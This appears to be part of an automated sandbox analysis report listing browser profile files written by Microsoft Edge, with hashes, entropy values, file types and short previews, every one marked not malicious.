SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4748939181241798
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBfn:JkIEumQv8m1ccnvS6zQDow0WjcTicOJ0
MD5:	CC0726B3A3B094E6A30D21FC49FDB46D
SHA1:	4BA288519CB8C5626662877D2A24E1AC1CA4C6CA
SHA-256:	445F68F51472924280285F86C5C0F712C24C2C5E9439C27A0031B0C23C7524B4
SHA-512:	D84C563FAB67CBE7A8DC8C7B9A3474955352551F8F48F74F3986A580E5BE4138A1EBBCC50064CCDB69CB06D894772FB015A9F4DCAAC3AAFB9F0B2316F452110C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39ba5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ae62.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b1ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a2451d04-4652-41f1-98b1-10612a34a4e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c62e76f4-4e0e-4a8c-96ed-c4991438c550.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1907
Entropy (8bit):	5.318592356495325
Encrypted:	false
SSDEEP:	48:YcgCzsFDtsF3fcKsu/leeBkBRs1CgHys6CgHMbxo+:FSDS3HkeBkBWTATMVo+
MD5:	0A73B265C6900AD72D8A4BD7317F5C9D
SHA1:	A757CCDBD53D2C6230EA0B74DC46B95B33DBEE05
SHA-256:	D215D5C88AE9E24CBC4DB498E5B316EE268CB0C3CDAFCC1ADA43A8164B6EAE75
SHA-512:	7D3E2186BF8631D14DD4222A749B1301C687717D2B919CC49B8A539BFCFD2C3BB55A399AA08EB293B903441D8253C9D22EC4E2BF77E0D4C5BF013E406A6AA360
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377373596415713","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377373599914112","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13374875201452871","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d17003b4-d5b5-42be-a294-8b44fdde38cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11518
Entropy (8bit):	5.250352009467696
Encrypted:	false
SSDEEP:	192:stkkdpQsr9sZihgHFjkQVkPi2zKiR8jbV+F/GQA66WpaFIMYxPXYJ:stkQQsr9fhgT5bGeQx6WpaTYi
MD5:	0B3238276CCC3D22F0171D49AADA20B9
SHA1:	B8B2E5806414F5065D9D4A4BC2C23A0A7ABAB2C9
SHA-256:	D03AA15BE93DFF6E00EC942CBBB8777C8ACD7E0DC5C641D7793A608B5845305B
SHA-512:	BDCE5F6C0D6D7385BC669F39DB5FEBFE044E07F22AFE2DF3CD44074FC0CE3891EBE112AF51415E0EA3182472765D4CF520C345302E7A8ED395F66BFAF6E6ED01
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374781593854764","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d998.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11518
Entropy (8bit):	5.250352009467696
Encrypted:	false
SSDEEP:	192:stkkdpQsr9sZihgHFjkQVkPi2zKiR8jbV+F/GQA66WpaFIMYxPXYJ:stkQQsr9fhgT5bGeQx6WpaTYi
MD5:	0B3238276CCC3D22F0171D49AADA20B9
SHA1:	B8B2E5806414F5065D9D4A4BC2C23A0A7ABAB2C9
SHA-256:	D03AA15BE93DFF6E00EC942CBBB8777C8ACD7E0DC5C641D7793A608B5845305B
SHA-512:	BDCE5F6C0D6D7385BC669F39DB5FEBFE044E07F22AFE2DF3CD44074FC0CE3891EBE112AF51415E0EA3182472765D4CF520C345302E7A8ED395F66BFAF6E6ED01
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374781593854764","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4276a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11518
Entropy (8bit):	5.250352009467696
Encrypted:	false
SSDEEP:	192:stkkdpQsr9sZihgHFjkQVkPi2zKiR8jbV+F/GQA66WpaFIMYxPXYJ:stkQQsr9fhgT5bGeQx6WpaTYi
MD5:	0B3238276CCC3D22F0171D49AADA20B9
SHA1:	B8B2E5806414F5065D9D4A4BC2C23A0A7ABAB2C9
SHA-256:	D03AA15BE93DFF6E00EC942CBBB8777C8ACD7E0DC5C641D7793A608B5845305B
SHA-512:	BDCE5F6C0D6D7385BC669F39DB5FEBFE044E07F22AFE2DF3CD44074FC0CE3891EBE112AF51415E0EA3182472765D4CF520C345302E7A8ED395F66BFAF6E6ED01
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374781593854764","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF49c9a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11518
Entropy (8bit):	5.250352009467696
Encrypted:	false
SSDEEP:	192:stkkdpQsr9sZihgHFjkQVkPi2zKiR8jbV+F/GQA66WpaFIMYxPXYJ:stkQQsr9fhgT5bGeQx6WpaTYi
MD5:	0B3238276CCC3D22F0171D49AADA20B9
SHA1:	B8B2E5806414F5065D9D4A4BC2C23A0A7ABAB2C9
SHA-256:	D03AA15BE93DFF6E00EC942CBBB8777C8ACD7E0DC5C641D7793A608B5845305B
SHA-512:	BDCE5F6C0D6D7385BC669F39DB5FEBFE044E07F22AFE2DF3CD44074FC0CE3891EBE112AF51415E0EA3182472765D4CF520C345302E7A8ED395F66BFAF6E6ED01
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374781593854764","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566369603529913
Encrypted:	false
SSDEEP:	768:MDV7BV7pLGLpPyWP8qfGJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVJVk2kfArw7pTtO:MDV7BjcpPyWP8qfGJu1jasVktfxdtO
MD5:	6FEB64F50E58B81ECB1FC7CBDC5CDC64
SHA1:	38944B1464A2AEC13F1B6F6B0C5B48E2614B63A7
SHA-256:	89B73EF31419B4D4A17C1722B3EB10947FF79DCB70B8B9541B5D518B53286EB6
SHA-512:	498F2FF8C3392A0BF4DB0A2D086745F907A493DCEBB915EEB4535FC914F5270A37F7D9763E3FE0487F7A3DFD5E785310E24E1BC85EF36E58BF967C218F242D04
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374781593228666","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374781593228666","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3db3e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566369603529913
Encrypted:	false
SSDEEP:	768:MDV7BV7pLGLpPyWP8qfGJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVJVk2kfArw7pTtO:MDV7BjcpPyWP8qfGJu1jasVktfxdtO
MD5:	6FEB64F50E58B81ECB1FC7CBDC5CDC64
SHA1:	38944B1464A2AEC13F1B6F6B0C5B48E2614B63A7
SHA-256:	89B73EF31419B4D4A17C1722B3EB10947FF79DCB70B8B9541B5D518B53286EB6
SHA-512:	498F2FF8C3392A0BF4DB0A2D086745F907A493DCEBB915EEB4535FC914F5270A37F7D9763E3FE0487F7A3DFD5E785310E24E1BC85EF36E58BF967C218F242D04
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374781593228666","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374781593228666","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.829132943262933
Encrypted:	false
SSDEEP:	48:F2emOtrdD1fBtpXrd0HLerdD4BterdDBt4:F1mOtxD1Htx8exDqexb4
MD5:	32C342DD9A7126CD768C17CD512A2BF2
SHA1:	43D11AAFE5F56FAD74C7F8DE60DC652E39A2BAD5
SHA-256:	C824DC1AAD16454E30BC231F3302139A117C3448AD62938452D83CDE944533D9
SHA-512:	EFB293CA16CCCCE93E8A7B18B69B3128D088A2A17630FD1E553CF5343334B3D4425CA887908996254CB456CE24785D18879DB2F8D26B2F232B8CA8D16AD7D832
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.._Em................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x...............................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.186216538579507
Encrypted:	false
SSDEEP:	6:6BRMxj1923oH+TcwtE/a252KLlgBRMhdSQL+q2P923oH+TcwtE/a2ZIFUv:6B3Yeb8xLCBOov4Yeb8J2FUv
MD5:	A56171CE92357DC4971B7D336DB5DBBB
SHA1:	244FA88CD5BD49B07932B7F7BE3806A2919F4CE2
SHA-256:	80EB35710C5778C275076F09E355208EB0A8709C636992F655BD5BEBB7645477
SHA-512:	F69879CC66102CD9E64874883B9FB64E8E9EECDEF1ED5BCC4A639BDC16FF46ADE63B2CFD18F6B04962E8FC9CDD645AF94F8E0438116E86969513688A997ACCF7
Malicious:	false
Preview:	2024/10/30-13:06:43.367 1478 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/30-13:06:43.385 1478 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113314
Entropy (8bit):	5.577834706904209
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NG/Gv5eIZBijL/r4L/rJTI:59LyxPXfOxr1lMe1Z6rFl8+AL/ML/NI
MD5:	1248ED2A2EB8FEB7A615E187E270C38C
SHA1:	B884F753345C635DE76A3516F5FC7AD79A97D764
SHA-256:	B9BBC2DEB2F799FE30C40B963C18A76B01DAA8D37CBFF7277AB2EE041DD61CDC
SHA-512:	DA0DE9744B18A09E25942969078E7D83EAD4851065B23720D250F10C31B90F514C52A9698F3A2FF80714A78AAD7B7D99879237556D4485195EDFE514B59D8161
Malicious:	false
